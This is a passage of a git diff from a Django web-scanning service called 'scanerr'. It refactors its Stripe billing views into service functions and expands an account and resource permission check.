+                'slack_channel_name': account.slack['slack_channel_name'],
+            }
+        },
+    }
+    
+    # return data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def account_activation(request: object) -> object: 
+    """ 
+    Pauses or Activates the `Account` and billing 
+    for the associated Stripe Subscription.
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    
+    Returns -> `Account` HTTP Response object
+    """
+
+    # get user's Account
+    account = Account.objects.get(user=request.user)
+    
+    # setting default
+    active = None
+
+    # pause billing  & `Account`
+    if account.active == True:
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection={
+                'behavior': 'mark_uncollectible',
+                },
+        )
+        active = False
+
+    # activate billing & `Account`
+    else:
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection='',
+        )
+        active = True
+
+    # save updates
+    account.active = active
+    account.save()
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+def cancel_subscription(request: object) -> object:
+    """ 
+    Cancels the Stripe Subscription associated with the
+    passed "user" and reverts the `Account` to a "free" plan
+    
+    Expects: {
+        'request': object
+    }
+
+    Returns -> `Account` HTTP Response object
+    """
+
+    # get user's account
+    account = Account.objects.get(user=request.user)
+
+    # update billing if accout is active
+    if account.active == True:
+
+        # pause Stripe Subscription billing
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection={
+                'behavior': 'mark_uncollectible',
+            },
+        )
+
+        # update Account plan
+        account.type = 'free'
+        account.max_sites = 1
+        account.max_schedules = 0
+        account.max_pages = 1
+        account.retention_days = '3'
+        account.interval = 'month'
+        account.price_amount = 0
+        account.testcases = False
+
+        # save Account
+        account.save()
+    
+    # remove sites
+    sites = Site.objects.filter(account=account)
+    for site in sites:
+        delete_site(request=request, id=site.id)
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_stripe_invoices(request: object) -> object:
+    """ 
+    Gets a list of Stripe Invoice objects associated with the 
+    passed "user" `Account`
+    
+    Expects: {
+        'request': object
+    }
+
+    Returns -> data: {
+        'has_more': <bool> true if more than 10
+        'data': <list> of invoice objects
+    }
+    """
+
+    # get user's account
+    account = Account.objects.get(user=request.user)
+
+    # setting defaults
+    data = {"message": "no Account found"}
+    i_list = []
+    
+    # check that Account has a Stripe Customer
+    if account.cust_id is not None:
+
+        # retrieve Stripe Invoices
+        invoice_body = stripe.Invoice.list(
+            customer=account.cust_id,
+        )
+        
+        # build list of Stripe Invice objects
+        for invoice in invoice_body.data:
+            i_list.append({
+                'id': invoice.id,
+                'status': invoice.status,
+                'price_amount': invoice.amount_paid,
+                'created': invoice.created
+            })
+        
+        # format response
+        data = {
+            'has_more': invoice_body.has_more,
+            'data': i_list
+        }
+    
+    # return response
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index 00933aa8..7b266d46 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -4,11 +4,9 @@
 
 
 
+
+
 urlpatterns = [
-    path('create-customer', views.CreateCustomer.as_view(), name='create_customer'),
-    path('create-product', views.CreateProduct.as_view(), name='create_product'),
-    path('create-price', views.CreatePrice.as_view(), name='create_price'),
-    path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'),
     path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
     path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
     path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
@@ -16,5 +14,4 @@
     path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
     path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
     path('account-activation', views.AccountActivation.as_view(), name='account_activation')
-
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 63ab7057..dfbe9eaf 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -1,241 +1,33 @@
 from rest_framework.response import Response
-from rest_framework.permissions import IsAuthenticated, IsAuthenticated
+from rest_framework.permissions import IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status
-from django.contrib.auth.models import User
-from django.core import serializers
-from django.forms.models import model_to_dict
-from ...models import Account, Card, Site
-from ..ops.services import delete_site
-from ..auth.services import create_or_update_account
-from datetime import timedelta, datetime
-from scanerr import settings
-import os, stripe, json 
+from .services import *
+from scanerr import settings 
 
 
 
 
-class StripeKey(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        key = settings.STRIPE_PUBLIC
-        data = {'key': key,}
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-
-class CreateCustomer(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        customer = stripe.Customer.create(email=request.user.email)
-        
-        account = Account.objects.create(
-            user=request.user, 
-            cust_id=customer.id
-        )
-
-        data = customer.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-class CreateProduct(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        name = request.data['name']
-        stripe.api_key = settings.STRIPE_PRIVATE
-        product = stripe.Product.create(name=name)
-        
-        account = Account.objects.get(user=request.user)
-        account.product_id = product.id
-        account.save()
-           
-        data = product.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-class CreatePrice(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        account = Account.objects.get(user=request.user)
-        price_amount = float(request.data['price_amount'])
-        stripe.api_key = settings.STRIPE_PRIVATE
-        price = stripe.Price.create(
-            product=account.product_id,
-            unit_amount=price_amount,
-            currency='usd',
-            recurring={
-                'interval': 'month',
-                'trial_period_days': 7,
-            },
-        )
-        
-        account.price_id = price.id
-        account.save()
-
-        data = price.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
 
 
-class CreateSubscription(APIView):
+class StripeKey(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        subscription = stripe.Subscription.create(
-            customer=account.cust_id,
-            items=[{
-                'price': account.price_id,
-            }],
-            payment_behavior='default_incomplete',
-            expand=['latest_invoice.payment_intent'],
-        )
-        
-        account.sub_id = subscription.id
-        account.save()
-        data = {
-            'subscription_id' : subscription.id,
-            'client_secret' : subscription.latest_invoice.payment_intent.client_secret
-        }
-        
+    def post(self, request):
+        data = {'key': settings.STRIPE_PUBLIC,}
         return Response(data, status=status.HTTP_200_OK)
 
 
 
 
-
 class SetupSubscription(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        user = request.user
-        name = request.data.get('name')
-        interval = request.data.get('interval') # month or year
-        product_name = str(user.email + '_' + str(user.id) + '_' + name)
-        price_amount = int(request.data.get('price_amount'))
-        max_sites = int(request.data.get('max_sites'))
-        max_pages = int(request.data.get('max_pages'))
-        max_schedules = int(request.data.get('max_schedules'))
-        retention_days = int(request.data.get('retention_days'))
-        testcases = str(request.data.get('testcases', False))
-        meta = request.data.get('meta')
-        initial_call = True
-        client_secret = None
-
-        if str(testcases).lower() == 'true':
-            testcases = True
-        if str(testcases).lower() == 'false':
-            testcases = False
-
-        if not Account.objects.filter(user=user).exists():
-            create_or_update_account(
-                user=user,
-                type=name,
-                interval=interval,
-                max_sites=max_sites,
-                max_pages=max_pages,
-                max_schedules=max_schedules,
-                retention_days=retention_days,
-                testcases=testcases, 
-                meta=meta
-            )
-
-        account = Account.objects.get(user=user)
-        
-        if account.cust_id is None:
-            product = stripe.Product.create(name=product_name)
-            customer = stripe.Customer.create(
-                email=request.user.email,
-                name=f'{user.first_name} {user.last_name}'
-            )
-
-        if account.cust_id is not None:
-            initial_call = False
-            product = stripe.Product.modify(account.product_id, name=product_name)
-            customer = stripe.Customer.retrieve(account.cust_id)
-
-        price = stripe.Price.create(
-            product=product.id,
-            unit_amount=price_amount,
-            currency='usd',
-            recurring={'interval': interval,},
-        )
-
-        if account.sub_id is None:
-            subscription = stripe.Subscription.create(
-                customer=customer.id,
-                items=[{
-                    'price': price.id,
-                }],
-                payment_behavior='default_incomplete',
-                expand=['latest_invoice.payment_intent'],
-                # trial_period_days=7,
-            )
-
-        if account.sub_id is not None:
-            sub = stripe.Subscription.retrieve(account.sub_id)
-            subscription = stripe.Subscription.modify(
-                sub.id,
-                cancel_at_period_end=False,
-                proration_behavior='create_prorations',
-                items=[{
-                    'id': sub['items']['data'][0].id,
-                    'price': price.id,
-                }],
-                expand=['latest_invoice.payment_intent'],
-            )
-        
-            # updating price defaults and archiving old price
-            stripe.Product.modify(product.id, default_price=price,)
-            stripe.Price.modify(account.price_id, active=False)
-
-
-        Account.objects.filter(user=user).update(
-            type = name,
-            cust_id = customer.id,
-            sub_id = subscription.id,
-            product_id = product.id,
-            price_id = price.id,
-            interval = interval,
-            max_sites = max_sites,
-            max_pages = max_pages,
-            price_amount = price_amount,
-            max_schedules = max_schedules,
-            retention_days = retention_days,
-            testcases = testcases,
-            meta = meta
-        )        
-
-        if initial_call:
-            client_secret = subscription.latest_invoice.payment_intent.client_secret
-        
-        data = {
-            'subscription_id' : subscription.id,
-            'client_secret' : client_secret,
-        }
-
-        return Response(data, status=status.HTTP_200_OK)
-
-
+        response = stripe_setup(request)
+        return response
 
 
 
@@ -245,95 +37,8 @@ class CompleteSubscription(APIView):
     http_method_names = ['post',]
 
     def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        pay_method_id = request.data['payment_method']
-        if Card.objects.filter(account=account).exists():
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.PaymentMethod.attach(
-                pay_method_id,
-                customer=account.cust_id,
-            )
-
-            stripe.Customer.modify(
-                account.cust_id,
-                invoice_settings={
-                    'default_payment_method': pay_method.id,
-                }
-            )
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-            
-            Card.objects.filter(account=account).update(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-            )
-
-        else:
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-
-            Card.objects.create(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-                
-            )
-        
-
-        card = Card.objects.get(account=account)
-        account.active = True
-        account.save()
-
-        data = {
-            'card': {
-                'brand': card.brand,
-                'exp_year': card.exp_year,
-                'exp_month': card.exp_month,
-                'last_four': card.last_four,
-            },
-            'plan': {
-                'name': account.type,
-                'active': account.active,
-                'price_amount': account.price_amount,
-                'interval': account.interval,
-                'max_sites': account.max_sites,
-                'max_pages': account.max_pages,
-                'max_schedules': account.max_schedules,
-                'retention_days': account.retention_days,
-                'testcases': account.testcases,
-                'slack': {
-                    'slack_name': account.slack['slack_name'], 
-                    'bot_user_id': account.slack['bot_user_id'], 
-                    'slack_team_id': account.slack['slack_team_id'], 
-                    'bot_access_token': account.slack['bot_access_token'], 
-                    'slack_channel_id': account.slack['slack_channel_id'], 
-                    'slack_channel_name': account.slack['slack_channel_name'],
-                }
-            },
-        }
-
-
-        return Response(data, status=status.HTTP_200_OK)
-
-
+        response = stripe_complete(request)
+        return response
 
 
 
@@ -343,47 +48,8 @@ class GetBillingInfo(APIView):
     http_method_names = ['post',]
 
     def post(self, request):  
-        user = request.user
-        if Account.objects.filter(user=user).exists():
-            account = Account.objects.get(user=user)
-            card = None
-            
-            if Card.objects.filter(user=user).exists():
-                _card = Card.objects.get(user=user)
-                card = {
-                    'brand': _card.brand,
-                    'exp_year': _card.exp_year,
-                    'exp_month': _card.exp_month,
-                    'last_four': _card.last_four,
-                }
-
-            data = {
-                'card': card,
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-            return Response(data, status=status.HTTP_200_OK)
-
-        else:
-            return Response(status=status.HTTP_404_NOT_FOUND)
+        response = get_billing_info(request)
+        return response
 
 
 
@@ -393,61 +59,9 @@ class AccountActivation(APIView):
     https_method_names = ['post',]
 
     def post(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        if account.active == True:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection={
-                    'behavior': 'mark_uncollectible',
-                    },
-            )
-            account.active = False
-            account.save()
-        else:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection='',
-            )
-            account.active = True
-            account.save()
-
+        response = account_activation(request)
+        return response
         
-        card = Card.objects.get(account=account)
-
-        data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-        return Response(data, status=status.HTTP_200_OK)
-        
-
-
 
 
 
@@ -456,67 +70,9 @@ class CancelSubscription(APIView):
     https_method_names = ['post',]
 
     def post(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        if account.active == True:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection={
-                    'behavior': 'mark_uncollectible',
-                    },
-            )
-            account.type = 'free'
-            account.max_sites = 1
-            account.max_schedules = 0
-            account.max_pages = 1
-            account.retention_days = '3'
-            account.interval = 'month'
-            account.price_amount = 0
-            account.testcases = False
-            account.save()
+        response = cancel_subscription(request)
+        return response
         
-        # remove sites
-        sites = Site.objects.filter(account=account)
-        # site_count = len(sites)
-        for site in sites:
-            delete_site(request=request, id=site.id)
-
-        card = Card.objects.get(account=account)
-
-        data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-        return Response(data, status=status.HTTP_200_OK)
-        
-
-
-
 
 
 
@@ -525,28 +81,8 @@ class StripeInvoice(APIView):
     https_method_names = ['get',]
 
     def get(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        data = {"message": "no Account found"}
-        if account.cust_id is not None:
-            invoice_body = stripe.Invoice.list(
-                customer=account.cust_id,
-            )
-            
-            i_list = []
-            for invoice in invoice_body.data:
-                obj = {
-                    'id': invoice.id,
-                    'status': invoice.status,
-                    'price_amount': invoice.amount_paid,
-                    'created': invoice.created
-                }
-                i_list.append(obj)
-            data = {
-                'has_more': invoice_body.has_more,
-                'data': i_list
-            }
+        response = get_stripe_invoices(request)
+        return response
+
 
-        return Response(data, status=status.HTTP_200_OK)
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 406cc075..e1b7cad1 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -2,6 +2,11 @@
 from rest_framework import serializers
 from rest_framework.fields import UUIDField
 
+
+
+
+
+
 kwargs = {
     'allow_null': False, 
     'read_only': True, 
@@ -10,6 +15,7 @@
 
 
 
+
 class LogSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -22,6 +28,7 @@ class Meta:
 
 
 
+
 class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
@@ -34,6 +41,7 @@ class Meta:
 
 
 
+
 class SiteSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -46,6 +54,8 @@ class Meta:
         ]
 
 
+
+
 class PageSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -59,6 +69,8 @@ class Meta:
         ]
 
 
+
+
 class ScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
@@ -73,6 +85,8 @@ class Meta:
         ]
 
 
+
+
 class SmallScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
@@ -93,6 +107,8 @@ class Meta:
         'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags',
         ]
 
+
+
         
 class TestSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -110,6 +126,8 @@ class Meta:
         ]
 
 
+
+
 class SmallTestSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
@@ -125,6 +143,8 @@ class Meta:
         ]
 
 
+
+
 class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
@@ -141,6 +161,7 @@ class Meta:
 
 
 
+
 class AutomationSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     schedule = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -158,13 +179,14 @@ class Meta:
 
 class ReportSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
         model = Report
-        fields = ['id', 'site', 'user', 'time_created', 'type',
+        fields = ['id', 'site', 'page', 'user', 'time_created', 'type',
         'path', 'info', 'account',
         ]
 
@@ -185,6 +207,7 @@ class Meta:
 
 
 
+
 class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -199,6 +222,8 @@ class Meta:
         ]
 
 
+
+
 class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -210,4 +235,9 @@ class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
         'case', 'case_name', 'passed', 'configs', 'account',
-        ]
\ No newline at end of file
+        ]
+
+
+
+
+        
\ No newline at end of file
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index adb057df..9c11f3bb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,3 @@
-import json, boto3, asyncio, os, requests
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
@@ -13,31 +12,49 @@
 from rest_framework.pagination import LimitOffsetPagination
 from ...utils.scanner import Scanner as S
 from ...utils.tester import Tester as T
-from ...utils.image import Image as I
+from ...utils.imager import Imager as I
 from ...utils.reporter import Reporter as R
 from ...utils.wordpress import Wordpress as W
 from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
+import json, boto3, asyncio, os, requests
 
 
 
 
 
-def record_api_call(request, data, status):
 
+def record_api_call(request: object, data: dict, status: str) -> None:
+    """ 
+    Records an request and resposne if 
+    the request was sent with Token auth. 
+    Creates a `Log` with the recorded info
+
+    Expects: {
+        request : object, 
+        data    : dict, 
+        status  : str
+    }
+    
+    Returns -> None
+    """
+    
+    # get auth type
     auth = request.headers.get('Authorization')
+
+    # check if Token auth
     if auth.startswith('Token'):
 
+        # getting the request data
         if request.method == 'POST':
             request_data = request.data
-
         elif request.method == 'GET':
             request_data = request.query_params
-
         elif request.method == 'DELETE':
             request_data = request.query_params
 
+        # recording info 
         log = Log.objects.create(
             user=request.user,
             path=request.path,
@@ -46,17 +63,60 @@ def record_api_call(request, data, status):
             request_payload=request_data,
             response_payload=data
         )
-    
-    return
+
+    return None
 
 
 
-def check_account(request=None, user=None, resource=None, site_id=None):
+
+def check_account_and_resource(
+        request: object=None, 
+        user: object=None, 
+        resource: str=None, 
+        action: str=None,
+        **kwargs
+    ) -> dict:
+    """ 
+    Based on the passed "resource" & kwargs, checks to see 
+    if account is allowed to add/get a "resource".
+
+    Expects: {
+        'request'   : object, 
+        'user'      : object, 
+        'resource'  : str, 
+        **kwargs    : dict
+    }
+    
+    Returns -> data: {
+        'allowed'   : bool,
+        'error'     : str,
+        'status'    : object 
+        'code'      : str
+    }
+    """
     
+    # setting defaults
     allowed = True
     error = None
     member = None
-
+    _status = status.HTTP_402_PAYMENT_REQUIRED
+    code = '402'
+
+    # checking for kwargs
+    site_id = kwargs.get('site_id')
+    site_url = kwargs.get('site_url')
+    page_id = kwargs.get('page_id')
+    page_url = kwargs.get('page_url')
+    test_id = kwargs.get('test_id')
+    scan_id = kwargs.get('scan_id')
+    case_id = kwargs.get('case_id')
+    testcase_id = kwargs.get('testcase_id')
+    schedule_id = kwargs.get('schedule_id')
+    automation_id = kwargs.get('automation_id')
+    process_id = kwargs.get('process_id')
+    report_id = kwargs.get('report_id')
+
+    # retrieving account
     if request is not None:
         user = request.user
     if Member.objects.filter(user=user).exists():
@@ -68,225 +128,418 @@ def check_account(request=None, user=None, resource=None, site_id=None):
     else:
         allowed = False
         error = 'no account assocation'
+        _status = status.HTTP_401_UNAUTHORIZED
+        code = '401'
     
     # returning early bc account 
     # is not funded or not associated
     if not allowed:
         data = {
             'allowed': allowed,
-            'error': error 
+            'error': error, 
+            'status': _status,
+            'code': code
         }
         return data
 
     # checking resource limit
     if resource is not None:
+        
         # checking pages
         if resource == 'page':
-            current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
-            if current_page_count >= account.max_pages:
-                allowed = False
-                error = 'max pages reached, please upgrade'
+            if not page_id:
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+                    else:
+                        current_count = Page.objects.filter(account=account, site__id=site_id).count()
+                        if current_count >= account.max_pages and action == 'add':
+                            allowed = False
+                            error = 'max pages reached, please upgrade'
+                            _status = status.HTTP_402_PAYMENT_REQUIRED
+                            code = '402'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_url:
+                if not Page.objects.filter(page_url=page_url, account=account).exists():
+                    allowed = False
+                    error = 'page already exists'
+                    _status = status.HTTP_409_CONFLICT
+                    code = '409'
+        
         # checking sites
         if resource == 'site':
-            current_site_count = Site.objects.filter(account=account).count()
-            if current_site_count >= account.max_sites:
-                allowed = False
-                error = 'max sites reached, please upgrade'
+            if not site_id:
+                current_count = Site.objects.filter(account=account).count()
+                if current_count >= account.max_sites and action == 'add':
+                    allowed = False
+                    error = 'max sites reached, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_url:
+                if not Site.objects.filter(site_url=site_url, account=account).exists():
+                    allowed = False
+                    error = 'site already exists'
+                    _status = status.HTTP_409_CONFLICT
+                    code = '409'
+        
         # checking schedules
         if resource == 'schedule':
-            current_site_count = Schedule.objects.filter(account=account).count()
-            if current_site_count >= account.max_schedules:
-                allowed = False
-                error = 'max schedules reached, please upgrade'
+            if not schedule_id:
+                current_count = Schedule.objects.filter(account=account).count()
+                if current_count >= account.max_schedules and action == 'add':
+                    allowed = False
+                    error = 'max schedules reached, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+                if page_id:
+                    if not Page.objects.filter(id=page_id, account=account).exists():
+                        allowed = False
+                        error = 'page not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+            if schedule_id:
+                if not Schedule.objects.filter(id=schedule_id, account=account).exists():
+                    allowed = False
+                    error = 'schedule not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+                if page_id:
+                    if not Page.objects.filter(id=page_id, account=account).exists():
+                        allowed = False
+                        error = 'page not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+        
+        # checking automations
+        if resource == 'automation':
+            if automation_id:
+                if not Automation.objects.filter(id=automation_id, account=account).exists():
+                    allowed = False
+                    error = 'automation not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
         # checking testcases
         if resource == 'testcase':
-            if not account.testcases:
-                allowed = False
-                error = 'testcases not allowed, please upgrade'
-    
+            if not testcase_id:
+                if not account.testcases:
+                    allowed = False
+                    error = 'testcases not allowed, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+            if testcase_id:
+                if not Testcase.objects.filter(id=testcase_id, account=account).exists():
+                    allowed = False
+                    error = 'testcase not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if case_id:
+                if not Case.objects.filter(id=case_id, account=account).exists():
+                    allowed = False
+                    error = 'case not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            
+        # checking cases
+        if resource == 'case':
+            if case_id:
+                if not Case.objects.filter(id=case_id, account=account).exists():
+                    allowed = False
+                    error = 'case not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking scans
+        if resource == 'scan':
+            if scan_id:
+                if not Scan.objects.filter(id=scan_id, page__account=account).exists():
+                    allowed = False
+                    error = 'scan not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking tests
+        if resource == 'test':
+            if test_id:
+                if not Test.objects.filter(id=test_id, page__account=account).exists():
+                    allowed = False
+                    error = 'test not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+
+        # checking process
+        if resource == 'process':
+            if process_id:
+                if not Process.objects.filter(id=process_id, account=account).exists():
+                    allowed = False
+                    error = 'process not found'
